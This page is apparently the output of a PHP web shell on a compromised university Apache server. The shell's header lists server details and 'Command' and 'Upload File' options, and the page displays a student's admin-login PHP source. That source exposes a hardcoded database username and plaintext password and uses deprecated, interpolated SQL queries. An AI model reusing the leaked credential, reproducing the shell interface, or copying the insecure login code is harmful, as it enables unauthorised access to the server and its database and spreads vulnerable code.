Server IP : 172.16.15.8 / Your IP : 3.135.219.153 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/asbright/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- Filename: 489projectAdminAction.php Name: Andrew Bright --> <!doctype html> <html> <head> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="styling2.css"> <title>Bacteria and Cancer links</title> </head> <body> <div style="text-align:center"> <h1> Admin </h1> <hr/> </div> <body> <div style="color: black; text-align: center"> <?php session_start(); $admin = filter_var($_POST["admin"], FILTER_SANITIZE_STRING); if($admin) $admin = hash('sha512', filter_var($_POST["admin"], FILTER_SANITIZE_STRING)); $pswdAdmin = strip_tags( trim($_POST["pswdAdmin"])); if($pswdAdmin) $pswdAdmin = hash('sha512', $_POST["pswdAdmin"]); $host = 'localhost'; $user = 'asbright'; $pass = 'Diablo2986!'; $database = 'asbright'; $tablename = 'Admins'; $connect = mysql_connect($host, $user, $pass); if ($admin && $pswdAdmin) { //connect to db $connect = mysql_connect("$host","$user","$pass") or die("not connecting"); mysql_select_db($database) or die("no db :'("); $query = mysql_query("SELECT * FROM $tablename WHERE adminUsername='$admin' AND adminPass='$pswdAdmin'"); $numrows = mysql_num_rows($query); if ($numrows == 0) { ?> <h2 style="color:black"> <?php echo "Invalid login"; ?> </h2> <br/><br/> <button type="button" class="button" style="vertical-align:middle"><a href="489projectAdminLogin.php"><span>Try Again</span></a></button> </div> <?php } else { ?> <p> <?php $row = mysql_fetch_assoc($query); $adminID = $row['adminID']; $_SESSION['admin'] = $adminID; ?> <script type="text/javascript"> <!-- window.location = "489projectAdmin.php" --> </script> <br/><br/> <button type="button" class="button" style="vertical-align:middle"><a href="489projectAdmin.php"><span>Continue to Admin page</span></a></button> </p> </div> </body> </html> <?php } } ?>